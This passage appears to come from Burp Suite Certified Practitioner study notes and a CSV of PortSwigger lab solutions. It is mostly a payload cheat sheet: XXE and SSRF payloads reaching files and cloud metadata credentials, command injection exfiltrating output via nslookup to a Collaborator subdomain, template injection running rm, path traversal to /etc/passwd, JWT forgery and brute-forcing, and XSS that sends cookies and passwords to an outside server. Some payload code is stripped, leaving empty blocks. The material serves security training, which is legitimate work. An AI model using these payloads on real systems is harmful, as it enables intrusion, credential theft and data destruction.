with the following hosts: 799 | - X-Host 800 | - X-Forwarded-Server 801 | - X-HTTP-Host-Override 802 | - Forwarded 803 | - The validation for subsequent requests within the same connection may be weaker 804 | - Sending multiple requests in a single connection and exploiting the second request. 805 | 806 | # Protoype Pollution 807 | 808 | Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. 809 | 810 | Prototype pollution vulnerabilities typically arise when a JavaScript function recursively merges an object containing user-controllable properties into an existing object, without first sanitizing the keys. This can allow an attacker to inject a property with a key like `__proto__`, along with arbitrary nested properties. 811 | 812 | Successful exploitation of prototype pollution requires the following key components: 813 | 814 | - [A prototype pollution source](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-sources) - This is any input that enables you to poison prototype objects with arbitrary properties. 815 | - [A sink](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-sinks) - In other words, a JavaScript function or DOM element that enables arbitrary code execution. 816 | - [An exploitable gadget](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-gadgets) - This is any property that is passed into a sink without proper filtering or sanitization. 817 | - Used by the application in an unsafe way, such as 818 | passing it to a sink without proper filtering or sanitization. 819 | - Attacker-controllable via prototype pollution. In 820 | other words, the object must be able to inherit a malicious version of 821 | the property added to the prototype by an attacker. 822 | 823 | ### Prototype Pollution Sources 824 | 825 | - URL 826 | - JSON based input 827 | - Web messages 828 | 829 | ### Client Side Prototype Pollution 830 | 831 | Manual testing: 832 | 833 | 1. Try to inject an arbitrary property via the query string, URL fragment, and any JSON input. For example: `vulnerable-website.com/?__proto__[foo]=bar` 834 | 2. In your browser console, inspect `Object.prototype` to see if you have successfully polluted it with your arbitrary property: `Object.prototype.foo 835 | // "bar" indicates that you have successfully polluted the prototype 836 | // undefined indicates that the attack was not successful` 837 | 3. If the property was not added to the prototype, try 838 | using different techniques, such as switching to dot notation rather 839 | than bracket notation, or vice versa: `vulnerable-website.com/?__proto__.foo=bar` 840 | 4. Repeat this process for each potential source. 841 | 842 | DOM Invader: 843 | 844 | 1. Turn on prototype pollution 845 | 2. Browse the application 846 | 3. Manually confirm a prototype pollution source 847 | 4. Scan for gadgets 848 | 849 | ### Bypasses 850 | 851 | Using the constructor rather than _proto_ 852 | 853 | bypassing flawed key sanitization 854 | 855 | - e.g _pro_proto_to_ 856 | 857 | 3rd party libraries 858 | 859 | ### Server Side Prototype Pollution 860 | 861 | This is harder to detect: 862 | 863 | - **No source code access** - Unlike with 864 | client-side vulnerabilities, you typically won't have access to the 865 | vulnerable JavaScript. This means there's no easy way to get an overview of which sinks are present or spot potential gadget properties. 866 | - **Lack of developer tools** - As the 867 | JavaScript is running on a remote system, you don't have the ability to 868 | inspect objects at runtime like you would when using your browser's 869 | DevTools to inspect the DOM. This means it can be hard to tell when 870 | you've successfully polluted the prototype unless you've caused a 871 | noticeable change in the website's behavior. This limitation obviously 872 | doesn't apply to white-box testing. 873 | - **The DoS problem** - Successfully 874 | polluting objects in a server-side environment using real properties 875 | often breaks application functionality or brings down the server 876 | completely. As it's easy to inadvertently cause a denial-of-service 877 | (DoS), testing in production can be dangerous. Even if you do identify a vulnerability, developing this into an exploit is also tricky when 878 | you've essentially broken the site in the process. 879 | - **Pollution persistence** - When testing in a browser, you can reverse all of your changes and get a clean 880 | environment again by simply refreshing the page. Once you pollute a 881 | server-side prototype, this change persists for the entire lifetime of 882 | the Node process and you don't have any way of resetting it. 883 | 884 | ### Detection 885 | 886 | property reflection - if the response returns the properties 887 | 888 | When there is no property reflection: 889 | 890 | - Status code override 891 | - 1. Find a way to trigger an error response and take note of the default status code. 892 | 893 | 2. Try polluting the prototype with your own `status` property. Be sure to use an obscure status code that is unlikely to be issued for any other reason. Use 400-599 range 894 | 895 | 3. Trigger the error response again and check whether you've successfully overridden the status code. 896 | - JSON spaces override 897 | - Charset override 898 | 899 | RCE with server side prototype pollution 900 | 901 | - NODE_OPTIONS 902 | - child_process.fork() 903 | - child_process.execSync() 904 | 905 | ### Prototype Pollution via browser APIs 906 | 907 | - fetch() 908 | - Object.defineProperty() 909 | 910 | ### Prevention 911 | 912 | - Sanitizing property keys 913 | - e.g. _proto_ 914 | - use allow list of permitted keys 915 | - Preventing changes to protoype objects 916 | - Object.freeze(Object.prototype); 917 | - This will block sources 918 | - Preventing an object from inheriting properties 919 | - Manually set an objects prototype with Object.create() 920 | - use null 921 | - block gadgets 922 | - Use safer alternatives 923 | - Use objects that provide built in protection. 924 | - get() 925 | - set() 926 | 927 | # Business Logic Vulns 928 | 929 | Dropping a request to skip a specific page. 930 | 931 | # Clickjacking 932 | 933 | ``` 934 | 935 | 950 | 951 | 952 |

Click me

953 | 955 | 956 | ``` 957 | 958 | If guarded by a framebuster, use **`sandbox="allow-forms"`** 959 | 960 | # XXE 961 | 962 | - Determine if ENTITY is allowed and if so, which pattern is allowed. 963 | - If neither of the two ENTITY patterns are allowed, external DTD loading may be used. 964 | - If the input value is returned as a response, simply replacing the parameter may be sufficient. 965 | - If an error message is returned, it may be possible to directly display a file. 966 | - If the entire XML cannot be controlled, an XInclude Attack may be used. 967 | - If SVG can be uploaded, SVG can be used. 968 | 969 | XXE payloads: 970 | 971 | ``` 972 | 973 | ]> 974 | &xxe;1 975 | ``` 976 | 977 | ``` 978 | 979 | %xxe; ]> 980 | ``` 981 | 982 | Blind XXE with OOB interaction: 983 | 984 | ``` 985 | 986 | ]> 987 | &xxe;1 988 | ``` 989 | 990 | ``` 991 | 992 | %test; ]> 993 | 11 994 | ``` 995 | 996 | Obtain hostname via OOB: 997 | 998 | ``` 999 | 1000 | "> 1001 | %eval; 1002 | %exfil; 1003 | ``` 1004 | 1005 | Obtaining confidential information through error messages: 1006 | 1007 | ``` 1008 | 1009 | "> 1010 | %eval; 1011 | %error; 1012 | ``` 1013 | 1014 | XInclude: 1015 | 1016 | ``` 1017 | 1018 | 1019 | 1020 | productId=&storeId=1 1021 | ``` 1022 | 1023 | SVG upload via XXE: 1024 | 1025 | ` ]>&xxe;`**** 1026 | 1027 | Local DTD reuse: 1028 | 1029 | ``` 1030 | 1032 | 1033 | "> 1034 | %eval; 1035 | %error; 1036 | '> 1037 | %local_dtd; 1038 | ]> 1039 | ``` 1040 | 1041 | [https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity](https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity) 1042 | 1043 | # File Upload Vulnerabilities 1044 | 1045 | PHP upload: 1046 | 1047 | ``` 1048 | Content-Type: text/plain 1049 | 1050 | 1051 | ``` 1052 | 1053 | Misc Ideas/Tips: 1054 | 1055 | - If the server trusts the Content-Type header, it can be tampered with. 1056 | - Upload to unintended directories using path traversal. 1057 | - Include a relative path in the filename. 1058 | - Use obfuscation techniques. 1059 | - If the server is Apache, upload an .htaccess file to interpret any extension as PHP. 1060 | 1061 | `AddType application/x-httpd-php .hoge` 1062 | 1063 | - Mix upper and lower cases 1064 | - Attach multiple extensions, e.g. shell.php.test 1065 | - (Double) URL encode the dot 1066 | - Add semicolon or null byte before the extension 1067 | - Use multibyte Unicode characters, such as xC0 x2E, xC4 xAE or xC0 xAE 1068 | - If ".php" is stripped, try "p.phphp" 1069 | - If the file content is also checked, try polyglots 1070 | - `exiftool -Comment="" -o polyglot.php [元になる画像ファイル]` 1071 | - Race condition upload: 1072 | - code: 1073 | 1074 | ``` 1075 | def queueRequests(target, wordlists): 1076 | engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) 1077 | 1078 | request1 = '''''' 1079 | 1080 | request2 = '''''' 1081 | 1082 | # the 'gate' argument blocks the final byte of each request until openGate is invoked 1083 | engine.queue(request1, gate='race1') 1084 | for x in range(5): 1085 | engine.queue(request2, gate='race1') 1086 | 1087 | # wait until every 'race1' tagged request is ready 1088 | # then send the final byte of each request 1089 | # (this method is non-blocking, just like queue) 1090 | engine.openGate('race1') 1091 | 1092 | engine.complete(timeout=60) 1093 | 1094 | def handleResponse(req, interesting): 1095 | table.add(req) 1096 | ``` 1097 | 1098 | # Authentication 1099 | 1100 | User Enumeration 1101 | 1102 | - Response body or time may slightly differ between existing and non-existing users 1103 | - Non-existing users may not get locked out 1104 | 1105 | Brute force 1106 | 1107 | - Successful login may reset login failure count 1108 | 1109 | Bypass login attempt rate limit 1110 | 1111 | - X-Forwarded-For header 1112 | 1113 | Password Reset 1114 | 1115 | - You may be able to tamper with a part of the request to manipulate the host part of the password reset link in the email. X-Forwarded-Host. 1116 | 1117 | Password Change 1118 | 1119 | - If the system accepts usernames, there is a possibility to use brute force. 1120 | 1121 | ### OAuth Authentication 1122 | 1123 | Reconnaissance: 1124 | 1125 | - Endpoints that the authorization server may have: 1126 | - **`/.well-known/oauth-authorization-server`** 1127 | - **`/.well-known/openid-configuration`** 1128 | - If it's possible to register clients dynamically, there may be an endpoint for registering clients 1129 | - Can you impersonate the victim using your own token? 1130 | - If the authorization server does not validate **`redirect_uri`**, you can steal the authorization code. 1131 | 1132 | ``` 1133 | 1140 | ``` 1141 | 1142 | - An open redirect vulnerability can be leveraged to steal an access token attached to a hash fragment that does not get sent to the server. 1143 | - If the first endpoint of the authentication flow does not include the "state" parameter, it may be vulnerable to Forced OAuth profile linking. 1144 | 1145 | # JSON Web Token 1146 | 1147 | - Payload can be simply overwritten because signature verification is not implemented 1148 | - alg: none 1149 | - Weak private keys can be brute-forced 1150 | - hashcat -a 0 -m 16500 --force jwt.secrets.list 1151 | - m 16500 refers to JWT 1152 | - jwk header injection 1153 | - Create a new public key 1154 | - Modify sub to the victim 1155 | - In Burp Repeater's JSON Web Token view, select Attack -> Embedded JWK -> select the created key 1156 | - jku header injection 1157 | - Create a new public key 1158 | - Copy Public Key as JWK 1159 | - Upload {"keys": [paste]} to the exploit server 1160 | - Modify the sub parameter of the JWT to the victim and match the kid parameter to the server-uploaded value 1161 | - Sign with the previous key 1162 | - The kid parameter has path traversal vulnerability 1163 | - Gradually increase ../ by setting kid to ../dev/null 1164 | - Use AA== as the Base64-encoded secret key 1165 | - Creating JWT is convenient using jwt.io 1166 | - Algorithm confusion 1167 | - Occurs when the implementer assumes RS256, but the library accepts both RS256 and HS256 based on the header 1168 | - Misuse flow 1169 | - (Assuming that the X.509 PEM format key is stored on the target server) 1170 | - Obtain jwk with /jwks.json or /.well-known/jwks.json 1171 | - Convert public key to the appropriate format 1172 | - Copy the public key to the JWT Editor Keys tab 1173 | - Press New RSA Key and paste the jwk key to generate a new key in JWK format 1174 | - Press the PEM radio button to convert to PEM 1175 | - Base64-encode PEM and copy it 1176 | - Return to the JWT Editor Keys tab and select New Symmetric Key 1177 | - Click Generate in the dialog box to generate a new key in JWK format 1178 | - Replace the value of the k parameter with the value copied in step 4 1179 | - Modify the JWT 1180 | - Change alg header to HS256 1181 | - Sign the token using the HS256 algorithm with the RSA public key as a secret 1182 | - If the public key is not available, it is possible to extract the public key from the two generated JWTs 1183 | - docker run --rm -it portswigger/sig2n 1184 | 1185 | ### Misc - According to App Function 1186 | 1187 | Apache - /files/server-status 1188 | 1189 | Password Reset: 1190 | 1191 | - Accepting username in the form for entering a new password 1192 | - Replacing links in emails 1193 | - Replacing the Host header 1194 | - Using multiple Host headers. 1195 | 1196 | 2FA: 1197 | 1198 | - The first authentication step is sufficient for login 1199 | 1200 | Session: 1201 | 1202 | - Check if the decoded string is a valid JWT by decoding it from URL encoding and then Base64 encoding. 1203 | - Verify that the resulting string looks like a JWT. 1204 | 1205 | API/CORS: 1206 | 1207 | - No guard; or 1208 | - Null Origin 1209 | 1210 | General Input Fields: 1211 | 1212 | - Insert OS command injection separators (;, ||, &&) 1213 | - XSS payload 1214 | - Directory traversal 1215 | - /etc/passwd 1216 | - /home/carlos/secret 1217 | - SQL injection 1218 | - In the case of XML, XXE. 1219 | -------------------------------------------------------------------------------- /BSCP Lab Commands.csv: -------------------------------------------------------------------------------- 1 | Number,Description,Command,Comments,Tags 2 | 1,Reflected XSS into HTML,,"No encoding, use in search box","Apprentice, Reflected XSS" 3 | 2,Stored XSS into HTML,,"No encoding, use in comment post","Apprentice, Stored XSS" 4 | 3,DOM XSS in document.write sink using source location.search,""">","Search box, inspect element to observe string has been placed inside an img src attribute. Payload breaks out of the img attribute","Apprentice, DOM XSS" 5 | 4,DOM XSS in innerHTML sink using source location.search,,"src value throws an error, which calls the alert function","Apprentice, DOM XSS" 6 | 5,DOM XSS in jQuery anchor href attribute sink using location.search source,javascript:alert(document.cookie),change returnPath in feedback?returnPath=/ to the payload. retrunPath is the query parameter which is placed in an href attribute,"Apprentice, DOM XSS" 7 | 6,DOM XSS in jQuery selector sink using a hashchange event,"","uses jQuery's $() 8 | selector function to auto-scroll to a given post, whose title is passed via the location.hash 9 | property. This payload calls the print() function on the victim browser, consider using fetch() for exploitation. To use, store this in the body of the exploit server and deliver to victim","Apprentice, DOM XSS" 10 | 7,Reflected XSS into attribute with angle brackets HTML-encoded,"""onmouseover=""alert(1)","no angle brackets, only works when input is reflected inside a quoted attribute e.g ","Apprentice, Reflected XSS" 11 | 8,Stored XSS into anchor href attribute with double quotes HTML-encoded,javascript:alert(1),"when the ‘website’ input is reflected inside an anchor href attribute 12 | ","Apprentice, Stored XSS" 13 | 9,Reflected XSS into a JavaScript string with angle brackets HTML encoded,'-alert(1)-',"no angle brackets, only works when input is reflected inside a JavaScript string e.g. ","Apprentice, Reflected XSS" 17 | 10,DOM XSS in document.write sink using source location.search inside a select element,""">","start of the URL is product?productId=1&storeId=, this must be done as a new URL parameter, not as a body parameter. Add the storeId parameter to the URL, you can identify this is by the JavaScript extracts a storeId parameter from the http://location.search and uses document.write to create a new option.","DOM XSS, Practitioner" 18 | 11,DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded,{{$on.constructor('alert(1)')()}},ng-app attribute noted in the page source (AngularJS directive),"DOM XSS, Practitioner" 19 | 12,Reflected DOM XSS,"\""-alert(1)}// 20 | 21 | ""-alert(1)-"""," where the searchResults.js file where the JSON response is used with an eval() function call. JSON response is escaping quotation marks. However, backslash is not being escaped","DOM XSS, Practitioner" 22 | 13,Stored DOM XSS,<>,"website uses loadCommentsWithVulnerableEscapeHtml.js JavaScript function replace() to encode angle brackets. When the first argument is a string, it will only do this once, so this can be bypassed by providing an extra set of angle brackets at the beginning, which are encoded but the subsequent ones aren’t.","DOM XSS, Practitioner" 23 | 14,Exploiting cross-site scripting to steal cookies,"",This script will make anyone who views the comment issue a POST request containing their cookie to your subdomain on the public Collaborator server.,"Practitioner, Stored XSS" 30 | 15,Exploiting cross-site scripting to capture passwords," 31 | ",This script will make anyone who views the comment issue a POST request containing their username and password to your subdomain of the public Collaborator server.,"Practitioner, Stored XSS" 36 | 16,Exploiting XSS to perform CSRF,"","issue a POST request to /my-account/change-email, with a parameter called email. There is an anti-CSRF token called ‘token’. The exploit loads the user account page, extracts the CSRF token and then uses the token to change the victims email address. 48 | 49 | The script will make anyone who views the comment issue a POST request to change their email address to test@test.com","Practitioner, Stored XSS" 50 | 17,Reflected XSS into HTML context with most tags and attributes blocked,"","Substitute the values with appropriate sizes. 342 | 343 | height: 700px 344 | width: 500px 345 | top: 300px 346 | side: 60px 347 | opacity: 0.1 or 0.0001 for attack. 348 | 349 | adjust the size to match up with the ‘delete account’ button 350 | 351 | ","Apprentice, Clickjacking" 352 | 55,Clickjacking with form input data prefilled from a URL parameter," 367 |
Test me
368 | ","/my-account?email=hacker@attacker-website.com 369 | 370 | This will pre-fill the text box, then the clickjacking attack will update the email address accordingly. Again, make sure to line up the “click me” box appropriately. 371 | 372 | top: 400px 373 | side: 80px","Apprentice, Clickjacking" 374 | 56,Clickjacking with a frame buster script," 389 |
Test me
390 | ","sandbox=”allow-forms” 392 | 393 | This neutralizes the framebuster script","Apprentice, Clickjacking" 394 | 57,Exploiting clickjacking vulnerability to trigger DOM-based XSS," 409 |
Test me
410 | ",This calls the print function on the victims browser,"Clickjacking, Practitioner" 412 | 58,Multistep clickjacking," 431 |
Test me first
432 |
Test me next
433 | ","Multi-step, where there are two elements that will appear after each other. This is to bypass a confirmation dialogue that appears after a user first clicks on the ‘delete account’ button.","Clickjacking, Practitioner" 434 | 59,DOM XSS using web messages,"","Access-Control-Allow-Credentials 521 | header. 522 | Origin: null. Add this header and observer that the ‘null’ origin is reflected in the Access-Control-Allow-Origin header.","Apprentice, CORS" 523 | 66,CORS vulnerability with trusted insecure protocols,"","added header Origin: http://subdomain.lab-id where lab-id is the lab domain name. 526 | Observe that the origin is reflected in the https://portswigger.net/web-security/cors/access-control-allow-origin header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP. 527 | productID parameter is vulnerable to XSS. This is seen when clicking ‘Check stock’, and it is loaded on a HTTP URL subdomain.","CORS, Practitioner" 528 | 67,Exploiting XXE using external entities to retrieve files," ]>","""Check stock"" feature that parses XML input and returns any unexpected values in the response. 529 | Insert external entity definition in between the XML declaration and the stockCheck 530 | element. 531 | 532 | Replace the productId number with a reference to the external entity: &xxe;","Apprentice, XXE" 533 | 68,Exploiting XXE to perform SSRF attacks," ]>","""Check stock"" feature that parses XML input and returns any unexpected values in the response. 534 | Iteratively update the URL in the DTD to explore the API until you reach /latest/meta-data/iam/security-credentials/admin 535 | . This should return JSON containing the SecretAccessKey.","Apprentice, XXE" 536 | 69,Blind XXE with out-of-band interaction," ]>","""Check stock"" feature that parses XML input but does not display the result. 537 | 538 | Replace productId number with a reference to the external entity: &xxe;","Practitioner, XXE" 539 | 70,Blind XXE with out-of-band interaction via XML parameter entities," %xxe; ]>","""Check stock"" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.","Practitioner, XXE" 540 | 71,Exploiting blind XXE to exfiltrate data using a malicious external DTD," 541 | ""> 542 | %eval; 543 | %exfil; 544 | 545 | %xxe;]>","Save first command in Exploit Server. 546 | 547 | Second XXE payload will then access the XXE in the exploit server and call out to the Burp Collaborator.","Practitioner, Review, XXE" 548 | 72,Exploiting blind XXE to retrieve data via error messages," 549 | ""> 550 | %eval; 551 | %exfil; 552 | 553 | %xxe;]>",Error message will have the contents of the /etc/passwd file,"Practitioner, XXE" 554 | 73,Exploiting XInclude to retrieve files,"","Don't control the entire XML document you can't define a DTD to launch a classic https://portswigger.net/web-security/xxe 555 | attack. 556 | 557 | Use XInclude statement to retrieve the contents of the /etc/passwd file","Practitioner, XXE" 558 | 74,Exploiting XXE via image file upload," ]>&xxe;","SVG image format uses XML. 559 | 560 | Create SVG file with the payload content. Upload the image as an avatar and post a comment. The /etc/hostname file should be in the image.","Practitioner, XXE" 561 | ,,,,XXE 562 | ,,,,XXE 563 | 75,Basic SSRF against the local server,"http://localhost/admin 564 | 565 | http://localhost/admin/delete?username=carlos","/admin is blocked. 566 | 567 | Use check stock feature, change the stockApi parameter to access admin interface. 568 | 569 | stockApi is a website URL e.g. http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1","Apprentice, SSRF" 570 | 76,Basic SSRF against another back-end system,http://192.168.0.1:8080/admin,"change the stockApi 571 | parameter to http://192.168.0.1:8080/admin 572 | then highlight the final octet of the IP address (the number 1 573 | ), click ""Add §"". 574 | 575 | Use Intruder and set the payloads to iterate up by 1. 576 | 577 | Use the status column to sort and identify which IP address has an internal service running on it.","Apprentice, SSRF" 578 | 77,SSRF with blacklist-based input filter,"http://127.1/ 579 | 580 | http://127.1/admin 581 | 582 | Double URL encode to bypass","Use double URL encoding to bypass, this can be done just on the ‘a’ character.","Practitioner, SSRF" 583 | 78,SSRF with filter bypass via open redirection vulnerability,"/product/nextProduct?path=http://192.168.0.12:8080/admin 584 | 585 | stockApi=%2fproduct%2fnextProduct%3fpath%3dhttp%3a%2f%2f192.168.0.12%3a8080%2fadmin","the path 586 | parameter is placed into the Location header of a redirection response, resulting in an open redirection. You can use this to redirect the stockApi checker to the internal admin page service","Practitioner, Review, SSRF" 587 | 79,Blind SSRF with out-of-band detection,Insert Collaborator payload into Referer header,"Select the Referer header, right-click and select ""Insert Collaborator Payload"" to replace the original domain with a Burp Collaborator generated domain. Send the request.","Practitioner, SSRF" 588 | 80,"OS command injection, simple case",productId=1&storeId=1|whoami,"StoreId parameter, use the | to split the statement and then inject a new command.","Apprentice, OS Command Injection" 589 | 81,Blind OS command injection with time delays,email=x||ping+-c+10+127.0.0.1||,Requests to the feedback form,"OS Command Injection, Practitioner" 590 | 82,Blind OS command injection with output redirection,email=||whoami>/var/www/images/output.txt||,"To check, intercept a request that loads an image of a product and modify the filename parameter so that it matches the name of the output file 591 | 592 | filename=output.txt","OS Command Injection, Practitioner" 593 | 83,Blind OS command injection with out-of-band interaction,email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||,Simply testing for a DNS lookup,"OS Command Injection, Practitioner" 594 | 84,Blind OS command injection with out-of-band data exfiltration,email=||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||,Adding a command to the output in Burp Collaborator,"OS Command Injection, Practitioner" 595 | 85,Basic server-side template injection,"https://YOUR-LAB-ID.web-security-academy.net/?message=<%25+system(""rm+/home/carlos/morale.txt"")+%25> 596 | 597 | https://YOUR-LAB-ID.web-security-academy.net/?message=<%25%3d+7*7+%25>","GET request uses the message parameter to render “unfortunately this product is out of stock” 598 | 599 | Location: /?message=Unfortunately this product is out of stock 600 | 601 | Note that this is rendered on the page itself when you click on “view details” for the first product. 602 | 603 | ERB documentation, discover that the syntax <%= someExpression %> 604 | is used to evaluate an expression and render the result on the page. 605 | 606 | Key here is that the message parameter in the URL is rendering directly onto the page. So test these for SSTI injections, make sure to URL encode the payload","Practitioner, SSTI" 607 | 86,Basic server-side template injection (code context),"blog-post-author-display=user.name}}{{7*7}} 608 | 609 | blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')","Prefered name parameter makes a request POST /my-account/change-blog-post-author-display 610 | 611 | parameters: 612 | 613 | blog-post-author-display=user.first_name&csrf=u55IaRymLHNocS15YKaCF42Za2jok2Vg 614 | 615 | This shows in a comment, so post a test comment and reload the page with the comments in to see the result of the injection.","Practitioner, SSTI" 616 | 87,Server-side template injection using documentation,"<#assign ex=""freemarker.template.utility.Execute""?new()> ${ ex(""rm /home/carlos/morale.txt"") }",,"Practitioner, SSTI" 617 | 88,Server-side template injection in an unknown language with a documented exploit,https://YOUR-LAB-ID.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d,"Search the web for ""Handlebars server-side template injection"". You should find a well-known exploit posted by @Zombiehelp54 618 | 619 | You find this by fuzzing the message parameter with various strings. e.g. 620 | 621 | ${{<%[%'""}}%\ 622 | 623 | The error message will return invalid syntax, which identifies the website is using handlebars","Practitioner, SSTI" 624 | 89,Server-side template injection with information disclosure via user-supplied objects,"{% debug %} 625 | 626 | {{settings.SECRET_KEY}}","fuzz string ${{<%[%'""}}%\ 627 | , and save the template. The error message in the output hints that the Django framework is being used. 628 | 629 | Debug first, then notice settings object is accessible. In the Django documentation, there is a SECRET_KEY property.","Practitioner, Review, SSTI" 630 | 90,"File path traversal, simple case",../../../etc/passwd,"filename parameter when fetching a product image. 631 | 632 | GET /image?filename=29.jpg","Apprentice, Directory Traversal" 633 | 91,"File path traversal, traversal sequences blocked with absolute path bypass",/etc/passwd,"the traversal above doesn’t work, but using the absolute path does work.","Directory Traversal, Practitioner" 634 | 92,"File path traversal, traversal sequences stripped non-recursively",....//....//....//etc/passwd,extra characters to bypass stripping of characters,"Directory Traversal, Practitioner" 635 | 93,"File path traversal, traversal sequences stripped with superfluous URL-decode",..%252f..%252f..%252fetc/passwd,"URL encoding to bypass filter, characters will be URL-decoded and processed","Directory Traversal, Practitioner" 636 | 94,"File path traversal, validation of start of path",/var/www/images/../../../etc/passwd,"application is validating the start of the path, but then you can recursively go back from there","Directory Traversal, Practitioner" 637 | 95,"File path traversal, validation of file extension with null byte bypass",../../../etc/passwd%00.png,"validates that the filename ends with the expected file extension, this can be bypassed with the null byte","Directory Traversal, Practitioner" 638 | 96,Unprotected admin functionality,/administrator-panel,"Browse robots.txt to identify the path to the admin panel, then browse directly to it.","Access Control, Apprentice" 639 | 97,Unprotected admin functionality with unpredictable URL,/admin-uofisu,Admin panel URL is disclosed in the JavaScript. You can see this in the Burp Suite sitemap,"Access Control, Apprentice" 640 | 98,User role controlled by request parameter,Cookie change Admin=true,"Intercept request when logging in, note that the response sets a cookie Admin=false. Change the cookie to Admin=true and access the admin panel.","Access Control, Apprentice" 641 | 99,User role can be modified in user profile,"Add JSON roleid: 2 to request body 642 | 643 | {""mailto:email%22:%22test@test.com"", 644 | ""roleid"":2 645 | }","Response contains the roleid when using the function to change the email address. Add roleid: 2 into the JSON of the request body. 646 | 647 | POST /my-account/change-email 648 | {""mailto:email%22:%22test@test.com""} 649 | 650 | Update this to {""mailto:email%22:%22test@test.com"", 651 | ""roleid"":2 652 | }","Access Control, Apprentice" 653 | 100,User ID controlled by request parameter,"Modify id parameter to another user account 654 | 655 | /my-account?id=carlos","URL when requesting account details contains the username parameter. 656 | 657 | /my-account?id=carlos","Access Control, Apprentice" 658 | 101,"User ID controlled by request parameter, with unpredictable user IDs","Modify id parameter to the GUID of another user account 659 | 660 | /my-account?id=d5bb1375-b369-4d7a-831b-29f7def78246","Identify the GUID of the other account by viewing the post authors, this has a link to view all the blogs written by that user and discloses the GUID of that user account. 661 | 662 | blogs?userId=d5bb1375-b369-4d7a-831b-29f7def78246","Access Control, Apprentice" 663 | 102,User ID controlled by request parameter with data leakage in redirect,"/my-account?id=carlos 664 | 665 | Changing the URL parameter causes a redirect to home, but the information is still disclosed in the response body.","The page redirects you when trying to access a different account back to the home page. However, the information of the account you are trying to access is still disclosed in the body of the response before the redirection takes place.","Access Control, Apprentice" 666 | 103,User ID controlled by request parameter with password disclosure,"/my-account?id=administrator 667 | 668 | View the response body and identify that the password is disclosed.","User account page contains the existing password, when trying to access another account based on the id parameter the password is hidden in the UI, but revealed in the response body","Access Control, Apprentice" 669 | 104,Insecure direct object references,/download-transcript/1.txt,"transcripts are saved as text files, changing the filename of the transcript being requested will give access to the other transcripts","Access Control, Apprentice" 670 | 105,URL-based access control can be circumvented,X-Original-URL: /admin,"The response when being blocked from accessing /admin is very plain, this could indicate it is from a front-end system. 671 | 672 | X-Original-URL: /tester 673 | 674 | adding this header returns ‘not found’ which indicates this was processed by the back-end system","Access Control, Practitioner" 675 | 106,Method-based access control can be circumvented,Right click and change request method from GET to POST,Circumvent access control on POST request by using GET requests that include the parameters directly within the URL.,"Access Control, Practitioner, Review" 676 | 107,Multi-step process with no access control on one step,"Perform an administrative action with a non-admin user, identify the action first with an admin account, but note there is no restriction on the action itself.","Some steps that should be locked to admins only are not properly checking. Some applications will assume that administrative functions are only accessed by admin users, but there are no checks on the administrative actions themselves that the account making the requests have admin privileges. 677 | 678 | log in as an admin 679 | see there is an administrative action to promote a different account 680 | copy the request made when promoting an account 681 | perform this action as a low-priv user","Access Control, Practitioner" 682 | 108,Referer-based access control,"/admin-roles?username=wiener&action=upgrade 683 | 684 | Include the Referer header 685 | 686 | Referer: https://0a60006403004af0c086277400cb001c.web-security-academy.net/admin","Directly performing an administrative action can sometimes be blocked unless the referer header is showing it came from the previous admin page. 687 | 688 | Manually adding the Referer header can circumvent 